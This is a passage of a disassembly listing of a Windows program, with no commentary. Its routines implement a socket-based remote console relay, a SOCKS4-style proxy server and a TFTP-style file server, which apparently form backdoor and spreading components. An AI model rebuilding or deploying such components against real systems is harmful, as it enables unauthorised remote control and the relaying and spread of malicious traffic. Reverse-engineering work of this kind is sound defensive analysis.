		push	0C8h
		push	eax
		push	dword ptr [edi]


loc_411A22:				; CODE XREF: sub_4119F9+8Fj
		call	ebx	; ReadFile
		test	eax, eax
		jz	short loc_411A8A
		xor	eax, eax
		xor	dl, dl
		xor	esi, esi
		cmp	[ebp+arg_0], eax
		jbe	short loc_411A5D


loc_411A33:				; CODE XREF: sub_4119F9+62j
		mov	cl, [ebp+esi+var_C8]
		cmp	cl, 0Ah
		jnz	short loc_411A4D
		cmp	dl, 0Dh
		jz	short loc_411A4D
		mov	[ebp+eax+var_1B0], 0Dh
		inc	eax


loc_411A4D:				; CODE XREF: sub_4119F9+44j
					; sub_4119F9+49j
		mov	[ebp+eax+var_1B0], cl
		inc	eax
		inc	esi
		mov	dl, cl
		cmp	esi, [ebp+arg_0]
		jb	short loc_411A33


loc_411A5D:				; CODE XREF: sub_4119F9+38j
		push	0
		push	eax
		lea	eax, [ebp+var_1B0]
		push	eax
		push	dword ptr [edi+0Ch]
		call	dword_4CBA24	; send
		test	eax, eax
		jle	short loc_411A8A
		lea	eax, [ebp+arg_0]
		push	0
		push	eax
		lea	eax, [ebp+var_C8]
		push	0C8h
		push	eax
		push	dword ptr [edi]
		jmp	short loc_411A22
; ---------------------------------------------------------------------------


loc_411A8A:				; CODE XREF: sub_4119F9+2Dj
					; sub_4119F9+79j
		mov	esi, dword_427094
		call	esi	; RtlGetLastWin32Error
		cmp	eax, 6Dh
		jz	short loc_411AA6
		call	esi	; RtlGetLastWin32Error
		push	eax
		push	offset unk_435684
		call	sub_415DAC
		pop	ecx
		pop	ecx


loc_411AA6:				; CODE XREF: sub_4119F9+9Cj
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_4119F9	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_411AAB	proc near		; DATA XREF: sub_4116D6+71o

var_DC		= byte ptr -0DCh
var_14		= byte ptr -14h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= byte ptr -8
var_7		= byte ptr -7
var_6		= byte ptr -6
var_5		= byte ptr -5
var_4		= byte ptr -4
var_3		= byte ptr -3
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		sub	esp, 0DCh
		push	ebx
		push	esi
		xor	ebx, ebx
		push	edi
		mov	edi, [ebp+arg_0]
		xor	esi, esi
		mov	[ebp+var_10], ebx
		mov	[ebp+var_C], ebx


loc_411AC4:				; CODE XREF: sub_411AAB+39j
					; sub_411AAB+D7j ...
		push	ebx
		lea	eax, [ebp+arg_0+3]
		push	1
		push	eax
		push	dword ptr [edi+0Ch]
		call	dword_4CB9EC	; recv
		test	eax, eax
		jle	loc_411BC9
		cmp	[ebp+var_10], ebx
		jbe	short loc_411AE6
		dec	[ebp+var_10]
		jmp	short loc_411AC4
; ---------------------------------------------------------------------------


loc_411AE6:				; CODE XREF: sub_411AAB+34j
		mov	al, byte ptr [ebp+arg_0+3]
		movsx	ecx, al
		cmp	ecx, 0FFh
		jz	loc_411BA9
		cmp	al, 8
		mov	[ebp+var_C], ebx
		jz	short loc_411B56
		cmp	al, 7Fh
		jz	short loc_411B56
		cmp	al, 3
		jnz	short loc_411B11
		push	ebx
		push	ebx
		call	dword_427134	; GenerateConsoleCtrlEvent
		jmp	short loc_411B7D
; ---------------------------------------------------------------------------


loc_411B11:				; CODE XREF: sub_411AAB+5Aj
		cmp	al, 15h
		jnz	short loc_411B33
		xor	esi, esi
		mov	[ebp+var_8], 20h
		mov	[ebp+var_7], 58h
		mov	[ebp+var_6], 58h
		mov	[ebp+var_5], 58h
		mov	[ebp+var_4], 0Dh
		mov	[ebp+var_3], 0Ah
		push	6
		jmp	short loc_411B69
; ---------------------------------------------------------------------------


loc_411B33:				; CODE XREF: sub_411AAB+68j
		mov	[ebp+esi+var_DC], al
		inc	esi
		push	1
		cmp	al, 0Dh
		mov	[ebp+var_8], al
		pop	ecx
		jnz	short loc_411B6A
		mov	[ebp+esi+var_DC], 0Ah
		mov	[ebp+var_7], 0Ah
		inc	esi
		push	2
		jmp	short loc_411B69
; ---------------------------------------------------------------------------


loc_411B56:				; CODE XREF: sub_411AAB+52j
					; sub_411AAB+56j
		cmp	esi, ebx
		jbe	short loc_411B80
		dec	esi
		mov	[ebp+var_8], 8
		mov	[ebp+var_7], 20h
		mov	[ebp+var_6], 8
		push	3


loc_411B69:				; CODE XREF: sub_411AAB+86j
					; sub_411AAB+A9j
		pop	ecx


loc_411B6A:				; CODE XREF: sub_411AAB+98j
		push	ebx
		lea	eax, [ebp+var_8]
		push	ecx
		push	eax
		push	dword ptr [edi+0Ch]
		call	dword_4CBA24	; send
		test	eax, eax
		jle	short loc_411BC9


loc_411B7D:				; CODE XREF: sub_411AAB+64j
		mov	al, byte ptr [ebp+arg_0+3]


loc_411B80:				; CODE XREF: sub_411AAB+ADj
		cmp	al, 0Dh
		jnz	loc_411AC4
		lea	eax, [ebp+var_14]
		push	ebx
		push	eax
		lea	eax, [ebp+var_DC]
		push	esi
		push	eax
		push	dword ptr [edi+4]
		call	dword_4270F0	; WriteFile
		test	eax, eax
		jz	short loc_411BC9
		xor	esi, esi
		jmp	loc_411AC4
; ---------------------------------------------------------------------------


loc_411BA9:				; CODE XREF: sub_411AAB+47j
		cmp	[ebp+var_C], ebx
		jnz	short loc_411BBA
		mov	[ebp+var_C], 1
		jmp	loc_411AC4
; ---------------------------------------------------------------------------


loc_411BBA:				; CODE XREF: sub_411AAB+101j
		mov	[ebp+var_10], 0Ah
		mov	[ebp+var_C], ebx
		jmp	loc_411AC4
; ---------------------------------------------------------------------------


loc_411BC9:				; CODE XREF: sub_411AAB+2Bj
					; sub_411AAB+D0j ...
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_411AAB	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_411BCE	proc near		; DATA XREF: sub_401ACD+2BC4o

var_2D4		= byte ptr -2D4h
var_D4		= dword	ptr -0D4h
var_D0		= byte ptr -0D0h
var_40		= dword	ptr -40h
var_3C		= dword	ptr -3Ch
var_38		= dword	ptr -38h
var_34		= dword	ptr -34h
var_30		= dword	ptr -30h
var_28		= dword	ptr -28h
var_24		= byte ptr -24h
var_22		= word ptr -22h
var_20		= dword	ptr -20h
var_14		= word ptr -14h
var_12		= word ptr -12h
var_10		= dword	ptr -10h
var_4		= dword	ptr -4
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		sub	esp, 2D4h
		mov	eax, [ebp+arg_0]
		push	ebx
		push	esi
		push	edi
		push	10h
		mov	esi, eax
		pop	ebx
		lea	edi, [ebp+var_D4]
		push	2Ch
		mov	[ebp+var_4], ebx
		pop	ecx
		rep movsd
		push	1
		xor	esi, esi
		pop	edi
		mov	[eax+0A8h], edi
		push	ebx
		lea	eax, [ebp+var_14]
		push	esi
		push	eax
		call	sub_41BF70
		add	esp, 0Ch
		mov	[ebp+var_14], 2
		push	[ebp+var_40]
		call	dword_4CB9D4	; htons
		push	6
		push	edi
		push	2
		mov	[ebp+var_12], ax
		mov	[ebp+var_10], esi
		call	dword_4CBA54	; socket
		mov	edi, eax
		mov	eax, [ebp+var_3C]
		imul	eax, 234h
		push	ebx
		mov	dword_43E91C[eax], edi
		lea	eax, [ebp+var_14]
		push	eax
		push	edi
		call	dword_4CBA00	; bind
		test	eax, eax
		jnz	loc_411D70
		push	0Ah
		push	edi
		call	dword_4CB9FC	; listen
		test	eax, eax
		jnz	loc_411D70
		push	[ebp+var_40]
		push	[ebp+var_D4]
		call	sub_40AA06
		pop	ecx
		push	eax
		lea	eax, [ebp+var_2D4]
		push	offset dword_42BC94
		push	eax
		call	sub_41C266
		add	esp, 10h
		cmp	[ebp+var_30], esi
		jnz	short loc_411CA9
		push	esi
		lea	eax, [ebp+var_2D4]
		push	[ebp+var_34]
		push	eax
		lea	eax, [ebp+var_D0]
		push	eax
		push	[ebp+var_D4]
		call	sub_409869
		add	esp, 14h


loc_411CA9:				; CODE XREF: sub_411BCE+B9j
					; sub_411BCE+172j ...
		lea	eax, [ebp+var_2D4]
		push	eax
		call	sub_415D38
		pop	ecx
		lea	eax, [ebp+var_4]
		push	eax
		lea	eax, [ebp+var_24]
		push	eax
		push	edi
		call	dword_4CBA68	; accept
		push	[ebp+var_3C]
		mov	ebx, eax
		movzx	eax, [ebp+var_22]
		push	eax
		mov	[ebp+var_28], esi
		push	[ebp+var_20]
		call	dword_4CBA60	; inet_ntoa
		push	eax
		lea	eax, [ebp+var_2D4]
		push	offset dword_435730
		push	eax
		call	sub_41C266
		push	ebx
		lea	eax, [ebp+var_2D4]
		push	19h
		push	eax
		call	sub_40B3BA
		mov	[ebp+var_38], eax
		imul	eax, 234h
		mov	ecx, [ebp+var_3C]
		add	esp, 20h
		mov	dword_43E914[eax], ecx
		lea	eax, [ebp+arg_0]
		push	eax
		lea	eax, [ebp+var_D4]
		push	esi
		push	eax
		push	offset sub_411DD3
		push	esi
		push	esi
		call	dword_427084	; CreateThread
		mov	ecx, [ebp+var_38]
		imul	ecx, 234h
		cmp	eax, esi
		mov	dword_43E924[ecx], eax
		jz	short loc_411D50


loc_411D3D:				; CODE XREF: sub_411BCE+180j
		cmp	[ebp+var_28], esi
		jnz	loc_411CA9
		push	5
		call	dword_427080	; Sleep
		jmp	short loc_411D3D
; ---------------------------------------------------------------------------


loc_411D50:				; CODE XREF: sub_411BCE+16Dj
		call	dword_427094	; RtlGetLastWin32Error
		push	eax
		lea	eax, [ebp+var_2D4]
		push	offset dword_4356F4
		push	eax
		call	sub_41C266
		add	esp, 0Ch
		jmp	loc_411CA9
; ---------------------------------------------------------------------------


loc_411D70:				; CODE XREF: sub_411BCE+7Bj
					; sub_411BCE+8Cj
		push	edi
		call	dword_4CBA6C	; closesocket
		push	[ebp+var_40]
		lea	eax, [ebp+var_2D4]
		push	offset dword_4356C0
		push	eax
		call	sub_41C266
		add	esp, 0Ch
		cmp	[ebp+var_30], esi
		jnz	short loc_411DB3
		push	esi
		lea	eax, [ebp+var_2D4]
		push	[ebp+var_34]
		push	eax
		lea	eax, [ebp+var_D0]
		push	eax
		push	[ebp+var_D4]
		call	sub_409869
		add	esp, 14h


loc_411DB3:				; CODE XREF: sub_411BCE+1C3j
		lea	eax, [ebp+var_2D4]
		push	eax
		call	sub_415D38
		push	[ebp+var_3C]
		call	sub_40B6D6
		pop	ecx
		pop	ecx
		push	esi
		call	dword_4270D4	; ExitThread
		pop	edi
		pop	esi
		pop	ebx
sub_411BCE	endp ; sp-analysis failed


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_411DD3	proc near		; DATA XREF: sub_411BCE+14Fo

var_5D4		= dword	ptr -5D4h
var_5D0		= dword	ptr -5D0h
var_4D0		= byte ptr -4D0h
var_4CF		= byte ptr -4CFh
var_4CE		= word ptr -4CEh
var_4CC		= dword	ptr -4CCh
var_4C8		= byte ptr -4C8h
var_C8		= byte ptr -0C8h
var_44		= byte ptr -44h
var_2C		= dword	ptr -2Ch
var_18		= word ptr -18h
var_16		= word ptr -16h
var_14		= dword	ptr -14h
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		sub	esp, 5D4h
		mov	eax, [ebp+arg_0]
		push	ebx
		push	esi
		push	edi
		push	2Ch
		mov	esi, eax
		pop	ecx
		lea	edi, [ebp+var_C8]
		rep movsd
		mov	esi, [ebp+var_2C]
		push	1
		mov	[ebp+arg_0], esi
		imul	esi, 234h
		pop	edi
		lea	esi, dword_43E91C[esi]
		mov	[eax+0ACh], edi
		xor	ebx, ebx
		mov	eax, [esi]
		mov	[ebp+var_8], 5
		mov	[ebp+var_5D0], eax
		lea	eax, [ebp+var_8]
		push	eax
		push	ebx
		lea	eax, [ebp+var_5D4]
		push	ebx
		push	eax
		push	ebx
		mov	[ebp+var_4], ebx
		mov	[ebp+var_5D4], edi
		call	dword_4CB9BC	; select
		test	eax, eax
		jnz	short loc_411E54
		push	dword ptr [esi]
		call	dword_4CBA6C	; closesocket
		push	[ebp+arg_0]
		call	sub_40B6D6
		pop	ecx
		push	ebx
		call	dword_4270D4	; ExitThread


loc_411E54:				; CODE XREF: sub_411DD3+67j
		push	ebx
		lea	eax, [ebp+var_4D0]
		push	408h
		push	eax
		push	dword ptr [esi]
		call	dword_4CB9EC	; recv
		test	eax, eax
		jg	short loc_411E85
		push	dword ptr [esi]
		call	dword_4CBA6C	; closesocket
		push	[ebp+arg_0]
		call	sub_40B6D6
		pop	ecx
		push	ebx
		call	dword_4270D4	; ExitThread


loc_411E85:				; CODE XREF: sub_411DD3+98j
		cmp	[ebp+var_4D0], 4
		jnz	loc_41207F
		cmp	[ebp+var_4CF], 1
		jnz	loc_41207F
		cmp	[ebp+var_44], bl
		jz	short loc_411F1B
		lea	eax, [ebp+var_44]
		push	eax
		lea	eax, [ebp+var_4C8]
		push	eax
		call	sub_41CA50
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	short loc_411F1B
		lea	eax, [ebp+var_44]
		push	eax
		lea	eax, [ebp+var_4C8]
		push	eax
		push	offset dword_4357F8
		call	sub_415DAC
		push	400h
		lea	eax, [ebp+var_4C8]
		push	ebx
		push	eax
		mov	[ebp+var_4D0], bl
		mov	[ebp+var_4CF], 5Dh
		call	sub_41BF70
		add	esp, 18h
		lea	eax, [ebp+var_4D0]
		push	ebx
		push	8
		push	eax
		push	dword ptr [esi]
		call	dword_4CBA24	; send
		push	dword ptr [esi]
		call	dword_4CBA6C	; closesocket
		push	[ebp+arg_0]
		call	sub_40B6D6
		pop	ecx
		push	ebx
		call	dword_4270D4	; ExitThread


loc_411F1B:				; CODE XREF: sub_411DD3+CFj
					; sub_411DD3+E5j
		push	10h
		lea	eax, [ebp+var_18]
		push	ebx
		push	eax
		call	sub_41BF70
		mov	ax, [ebp+var_4CE]
		add	esp, 0Ch
		mov	[ebp+var_16], ax
		mov	eax, [ebp+var_4CC]
		push	6
		push	edi
		push	2
		mov	[ebp+var_18], 2
		mov	[ebp+var_14], eax
		call	dword_4CBA54	; socket
		mov	edi, eax
		cmp	edi, 0FFFFFFFFh
		jnz	short loc_411FB3
		call	dword_4CB968	; WSAGetLastError
		push	eax
		push	offset dword_4357B8
		call	sub_415DAC
		push	400h
		lea	eax, [ebp+var_4C8]
		push	ebx
		push	eax
		mov	[ebp+var_4D0], bl
		mov	[ebp+var_4CF], 5Bh
		call	sub_41BF70
		add	esp, 14h
		lea	eax, [ebp+var_4D0]
		push	ebx
		push	8
		push	eax
		push	dword ptr [esi]
		call	dword_4CBA24	; send
		push	dword ptr [esi]
		call	dword_4CBA6C	; closesocket
		push	[ebp+arg_0]
		call	sub_40B6D6
		pop	ecx
		push	ebx
		call	dword_4270D4	; ExitThread


loc_411FB3:				; CODE XREF: sub_411DD3+181j
		lea	eax, [ebp+var_18]
		push	10h
		push	eax
		push	edi
		call	dword_4CB97C	; connect
		cmp	eax, 0FFFFFFFFh
		jnz	short loc_412022
		call	dword_4CB968	; WSAGetLastError
		push	eax
		push	offset dword_435774
		call	sub_415DAC
		push	400h
		lea	eax, [ebp+var_4C8]
		push	ebx
		push	eax
		mov	[ebp+var_4D0], bl
		mov	[ebp+var_4CF], 5Bh
		call	sub_41BF70
		add	esp, 14h
		lea	eax, [ebp+var_4D0]
		push	ebx
		push	8
		push	eax
		push	dword ptr [esi]
		call	dword_4CBA24	; send
		push	dword ptr [esi]
		call	dword_4CBA6C	; closesocket
		push	[ebp+arg_0]
		call	sub_40B6D6
		pop	ecx
		push	ebx
		call	dword_4270D4	; ExitThread


loc_412022:				; CODE XREF: sub_411DD3+1F0j
		push	400h
		lea	eax, [ebp+var_4C8]
		push	ebx
		push	eax
		mov	[ebp+var_4D0], bl
		mov	[ebp+var_4CF], 5Ah
		call	sub_41BF70
		add	esp, 0Ch
		lea	eax, [ebp+var_4D0]
		push	ebx
		push	8
		push	eax
		push	dword ptr [esi]
		call	dword_4CBA24	; send
		push	dword ptr [esi]
		push	edi
		call	sub_412097
		pop	ecx
		pop	ecx
		push	edi
		call	dword_4CBA6C	; closesocket
		push	dword ptr [esi]
		call	dword_4CBA6C	; closesocket
		push	[ebp+arg_0]
		call	sub_40B6D6
		pop	ecx
		push	ebx
		call	dword_4270D4	; ExitThread


loc_41207F:				; CODE XREF: sub_411DD3+B9j
					; sub_411DD3+C6j
		push	dword ptr [esi]
		call	dword_4CBA6C	; closesocket
		push	[ebp+arg_0]
		call	sub_40B6D6
		pop	ecx
		push	ebx
		call	dword_4270D4	; ExitThread
sub_411DD3	endp ; sp-analysis failed


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_412097	proc near		; CODE XREF: sub_411DD3+286p

var_504		= byte ptr -504h
var_104		= dword	ptr -104h
var_100		= dword	ptr -100h
var_FC		= dword	ptr -0FCh
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		sub	esp, 504h
		push	ebx
		mov	ebx, [ebp+arg_4]
		push	esi
		push	edi
		xor	edi, edi
		mov	esi, 400h


loc_4120AD:				; CODE XREF: sub_412097+C5j
					; sub_412097+F5j
		mov	[ebp+var_100], ebx
		mov	[ebp+var_104], 1
		xor	ecx, ecx
		lea	eax, [ebp+var_100]


loc_4120C5:				; CODE XREF: sub_412097+3Cj
		mov	edx, [ebp+arg_0]
		cmp	[eax], edx
		jz	short loc_4120D5
		inc	ecx
		add	eax, 4
		cmp	ecx, 1
		jb	short loc_4120C5


loc_4120D5:				; CODE XREF: sub_412097+33j
		cmp	ecx, 1
		jnz	short loc_4120EA
		mov	[ebp+var_FC], edx
		mov	[ebp+var_104], 2


loc_4120EA:				; CODE XREF: sub_412097+41j
		push	esi
		lea	eax, [ebp+var_504]
		push	edi
		push	eax
		call	sub_41BF70
		add	esp, 0Ch
		lea	eax, [ebp+var_104]
		push	edi
		push	edi
		push	edi
		push	eax
		push	edi
		call	dword_4CB9BC	; select
		lea	eax, [ebp+var_104]
		push	eax
		push	ebx
		call	dword_4CB8C0	; __WSAFDIsSet
		test	eax, eax
		jz	short loc_41214A
		push	edi
		lea	eax, [ebp+var_504]
		push	esi
		push	eax
		push	ebx
		call	dword_4CB9EC	; recv
		cmp	eax, 0FFFFFFFFh
		jz	short loc_412192
		push	edi
		push	eax
		lea	eax, [ebp+var_504]
		push	eax
		push	[ebp+arg_0]
		call	dword_4CBA24	; send
		cmp	eax, 0FFFFFFFFh
		jz	short loc_412192


loc_41214A:				; CODE XREF: sub_412097+85j
		lea	eax, [ebp+var_104]
		push	eax
		push	[ebp+arg_0]
		call	dword_4CB8C0	; __WSAFDIsSet
		test	eax, eax
		jz	loc_4120AD
		push	edi
		lea	eax, [ebp+var_504]
		push	esi
		push	eax
		push	[ebp+arg_0]
		call	dword_4CB9EC	; recv
		cmp	eax, 0FFFFFFFFh
		jz	short loc_412192
		push	edi
		push	eax
		lea	eax, [ebp+var_504]
		push	eax
		push	ebx
		call	dword_4CBA24	; send
		cmp	eax, 0FFFFFFFFh
		jnz	loc_4120AD


loc_412192:				; CODE XREF: sub_412097+9Aj
					; sub_412097+B1j ...
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_412097	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_412197	proc near		; CODE XREF: sub_412197:loc_4125F0p
					; DATA XREF: sub_401ACD+20B3o ...

var_87C		= dword	ptr -87Ch
var_878		= dword	ptr -878h
var_778		= byte ptr -778h
var_578		= byte ptr -578h
var_577		= byte ptr -577h
var_576		= byte ptr -576h
var_575		= byte ptr -575h
var_574		= byte ptr -574h
var_374		= dword	ptr -374h
var_370		= byte ptr -370h
var_26C		= byte ptr -26Ch
var_168		= dword	ptr -168h
var_164		= dword	ptr -164h
var_160		= dword	ptr -160h
var_15C		= byte ptr -15Ch
var_DC		= dword	ptr -0DCh
var_D8		= dword	ptr -0D8h
var_D0		= byte ptr -0D0h
var_CF		= byte ptr -0CFh
var_CE		= byte ptr -0CEh
var_CD		= byte ptr -0CDh
var_50		= byte ptr -50h
var_3C		= byte ptr -3Ch
var_38		= dword	ptr -38h
var_2C		= word ptr -2Ch
var_2A		= word ptr -2Ah
var_28		= dword	ptr -28h
var_1C		= dword	ptr -1Ch
var_18		= dword	ptr -18h
var_14		= dword	ptr -14h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		sub	esp, 87Ch
		mov	edx, [ebp+arg_0]
		push	ebx
		push	esi
		push	edi
		push	1
		xor	ebx, ebx
		pop	eax
		mov	ecx, 0A9h
		mov	esi, edx
		lea	edi, [ebp+var_374]
		push	ebx
		push	2
		rep movsd
		inc	[ebp+var_164]
		push	2
		mov	[ebp+var_10], eax
		mov	[ebp+var_14], eax
		mov	[ebp+var_8], eax
		mov	[edx+2A0h], eax
		call	dword_4CBA54	; socket
		mov	esi, eax
		cmp	esi, 0FFFFFFFFh
		jnz	short loc_412237
		push	190h
		call	dword_427080	; Sleep
		cmp	[ebp+var_D8], ebx
		jnz	short loc_412217
		push	ebx
		lea	eax, [ebp+var_778]
		push	[ebp+var_DC]
		push	eax
		lea	eax, [ebp+var_15C]
		push	eax
		push	[ebp+var_374]
		call	sub_409869
		add	esp, 14h


loc_412217:				; CODE XREF: sub_412197+5Bj
		lea	eax, [ebp+var_778]
		push	eax
		call	sub_415D38
		push	[ebp+var_168]
		call	sub_40B6D6
		pop	ecx
		pop	ecx
		push	ebx
		call	dword_4270D4	; ExitThread


loc_412237:				; CODE XREF: sub_412197+48j
		lea	eax, [ebp+var_10]
		push	4
		push	eax
		mov	edi, 0FFFFh
		push	4
		push	edi
		push	esi
		call	dword_4CB9B4	; setsockopt
		lea	eax, [ebp+var_14]
		push	4
		push	eax
		push	0FFFFFFFBh
		push	edi
		push	esi
		call	dword_4CB9B4	; setsockopt
		mov	eax, [ebp+var_168]
		push	10h
		imul	eax, 234h
		push	ebx
		mov	dword_43E91C[eax], esi
		lea	eax, [ebp+var_2C]
		push	eax
		call	sub_41BF70
		add	esp, 0Ch
		mov	[ebp+var_2C], 2
		push	[ebp+var_160]
		call	dword_4CB9D4	; htons
		mov	[ebp+var_2A], ax
		lea	eax, [ebp+var_2C]
		push	10h
		push	eax
		push	esi
		mov	[ebp+var_28], ebx
		call	dword_4CBA00	; bind
		cmp	eax, 0FFFFFFFFh
		jnz	short loc_4122C1
		push	1388h
		call	dword_427080	; Sleep
		dec	[ebp+var_164]
		push	[ebp+arg_0]
		jmp	loc_4125F0
; ---------------------------------------------------------------------------


loc_4122C1:				; CODE XREF: sub_412197+10Fj
		lea	eax, [ebp+var_370]
		push	offset dword_429068
		push	eax
		call	sub_41BEA2
		pop	ecx
		cmp	eax, ebx
		pop	ecx
		mov	[ebp+var_4], eax
		jnz	short loc_412327
		push	190h
		call	dword_427080	; Sleep
		push	ebx
		lea	eax, [ebp+var_778]
		push	[ebp+var_DC]
		push	eax
		lea	eax, [ebp+var_15C]
		push	eax
		push	[ebp+var_374]
		call	sub_409869
		lea	eax, [ebp+var_778]
		push	eax
		call	sub_415D38
		push	[ebp+var_168]
		call	sub_40B6D6
		add	esp, 1Ch
		push	ebx
		call	dword_4270D4	; ExitThread


loc_412327:				; CODE XREF: sub_412197+142j
					; sub_412197+413j
		mov	edi, [ebp+arg_0]
		cmp	[edi+2A0h], ebx
		jz	loc_4125B3
		mov	edi, 80h
		lea	eax, [ebp+var_D0]
		push	edi
		push	ebx
		push	eax
		mov	[ebp+var_1C], 5
		mov	[ebp+var_18], 1388h
		mov	[ebp+var_878], esi
		mov	[ebp+var_87C], 1
		call	sub_41BF70
		add	esp, 0Ch
		lea	eax, [ebp+var_1C]
		push	eax
		push	ebx
		lea	eax, [ebp+var_87C]
		push	ebx
		push	eax
		push	ebx
		call	dword_4CB9BC	; select
		test	eax, eax
		jle	loc_4125A7
		mov	al, byte_43DB88
		mov	ecx, edi
		mov	[ebp+var_578], al
		xor	eax, eax
		lea	edi, [ebp+var_577]
		mov	[ebp+var_C], 10h
		rep stosd
		stosw
		stosb
		lea	eax, [ebp+var_C]
		push	eax
		lea	eax, [ebp+var_3C]
		push	eax
		push	ebx
		lea	eax, [ebp+var_D0]
		push	80h
		push	eax
		push	esi
		call	dword_4CB9AC	; recvfrom
		push	[ebp+var_38]
		mov	[ebp+var_8], eax
		call	dword_4CBA60	; inet_ntoa
		push	eax
		lea	eax, [ebp+var_50]
		push	eax
		call	sub_41C266
		cmp	[ebp+var_D0], bl
		pop	ecx
		pop	ecx
		jnz	loc_412591
		cmp	[ebp+var_CF], 1
		jnz	loc_412497
		lea	eax, [ebp+var_26C]
		push	eax
		call	sub_41B9C0
		push	ebx
		push	ebx
		push	[ebp+var_4]
		call	sub_41DA8B
		push	[ebp+var_4]
		lea	eax, [ebp+var_574]
		mov	[ebp+var_578], bl
		mov	[ebp+var_577], 3
		push	200h
		push	1
		push	eax
		mov	[ebp+var_576], bl
		mov	[ebp+var_575], 1
		call	sub_41BAFA
		add	esp, 20h
		lea	ecx, [ebp+var_3C]
		mov	[ebp+var_8], eax
		add	eax, 4
		push	[ebp+var_C]
		push	ecx
		push	ebx
		push	eax
		lea	eax, [ebp+var_578]
		push	eax
		push	esi
		call	dword_4CBA38	; sendto
		cmp	[ebp+var_D8], ebx
		jnz	short loc_412485
		push	ebx
		lea	eax, [ebp+var_778]
		push	[ebp+var_DC]
		push	eax
		lea	eax, [ebp+var_15C]
		push	eax
		push	[ebp+var_374]
		call	sub_409869
		add	esp, 14h


loc_412485:				; CODE XREF: sub_412197+2C9j
		lea	eax, [ebp+var_778]
		push	eax
		call	sub_415D38
		pop	ecx
		jmp	loc_4125A7
; ---------------------------------------------------------------------------


loc_412497:				; CODE XREF: sub_412197+257j
		cmp	[ebp+var_CF], 4
		jnz	loc_412591
		mov	cl, [ebp+var_CD]
		mov	al, [ebp+var_CE]
		cmp	cl, 0FFh
		mov	[ebp+var_578], bl
		mov	[ebp+var_577], 3
		jnz	short loc_4124D4
		inc	al
		xor	cl, cl
		mov	[ebp+var_576], al
		mov	[ebp+var_575], bl
		jmp	short loc_4124E2
; ---------------------------------------------------------------------------


loc_4124D4:				; CODE XREF: sub_412197+329j
		inc	cl
		mov	[ebp+var_576], al
		mov	[ebp+var_575], cl


loc_4124E2:				; CODE XREF: sub_412197+33Bj
		movzx	eax, al
		movzx	ecx, cl
		shl	eax, 8
		add	eax, ecx
		mov	edi, 200h
		shl	eax, 9
		sub	eax, edi
		push	ebx
		push	eax
		push	[ebp+var_4]
		call	sub_41DA8B
		push	[ebp+var_4]
		lea	eax, [ebp+var_574]
		push	edi
		push	1
		push	eax
		call	sub_41BAFA
		add	esp, 1Ch
		mov	edi, eax
		lea	eax, [ebp+var_3C]
		mov	[ebp+var_8], edi
		push	[ebp+var_C]
		push	eax
		lea	eax, [edi+4]
		push	ebx
		push	eax
		lea	eax, [ebp+var_578]
		push	eax
		push	esi
		call	dword_4CBA38	; sendto
		cmp	edi, ebx
		jnz	short loc_4125A7
		lea	eax, [ebp+var_50]
		push	eax
		lea	eax, [ebp+var_778]
		push	offset dword_434798
		push	eax
		call	sub_41C266
		add	esp, 0Ch
		cmp	[ebp+var_D8], ebx
		jnz	short loc_41257C
		push	ebx
		lea	eax, [ebp+var_778]
		push	[ebp+var_DC]
		push	eax
		lea	eax, [ebp+var_15C]
		push	eax
		push	[ebp+var_374]
		call	sub_409869
		add	esp, 14h


loc_41257C:				; CODE XREF: sub_412197+3C0j
		lea	eax, [ebp+var_778]
		push	eax
		call	sub_415D38
		inc	dword_4CE4DC
		pop	ecx
		jmp	short loc_4125A7
; ---------------------------------------------------------------------------


loc_412591:				; CODE XREF: sub_412197+24Aj
					; sub_412197+307j
		push	[ebp+var_C]
		lea	eax, [ebp+var_3C]
		push	eax
		push	ebx
		push	9
		push	offset dword_435838
		push	esi
		call	dword_4CBA38	; sendto


loc_4125A7:				; CODE XREF: sub_412197+1E9j
					; sub_412197+2FBj ...
		cmp	[ebp+var_8], ebx
		jg	loc_412327
		mov	edi, [ebp+arg_0]


loc_4125B3:				; CODE XREF: sub_412197+199j
		push	esi
		call	dword_4CBA6C	; closesocket
		push	[ebp+var_4]
		call	sub_41BA3B
		dec	[ebp+var_164]
		cmp	[edi+2A0h], ebx
		pop	ecx
		jnz	short loc_4125E4
		push	[ebp+var_168]
		call	sub_40B6D6
		pop	ecx
		push	ebx
		call	dword_4270D4	; ExitThread


loc_4125E4:				; CODE XREF: sub_412197+438j
		push	3E8h
		call	dword_427080	; Sleep
		push	edi


loc_4125F0:				; CODE XREF: sub_412197+125j
		call	sub_412197
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn	4
sub_412197	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4125FC	proc near		; CODE XREF: sub_4126A7+E2p
					; sub_4126A7+1A4p ...

var_200		= byte ptr -200h
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_10		= byte ptr  18h
arg_90		= dword	ptr  98h
arg_94		= dword	ptr  9Ch

		push	ebp
		mov	ebp, esp
		sub	esp, 200h
		cmp	[ebp+arg_90], 0
		jz	short loc_41266C
		push	esi
		mov	esi, offset dword_435848


loc_412614:				; CODE XREF: sub_4125FC+6Bj
		push	esi
		push	[ebp+arg_4]
		call	sub_41C2E0
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	short loc_41265B
		push	esi
		lea	eax, [ebp+var_200]
		push	[ebp+arg_0]
		push	offset dword_436BB4
		push	200h
		push	eax
		call	sub_41C360
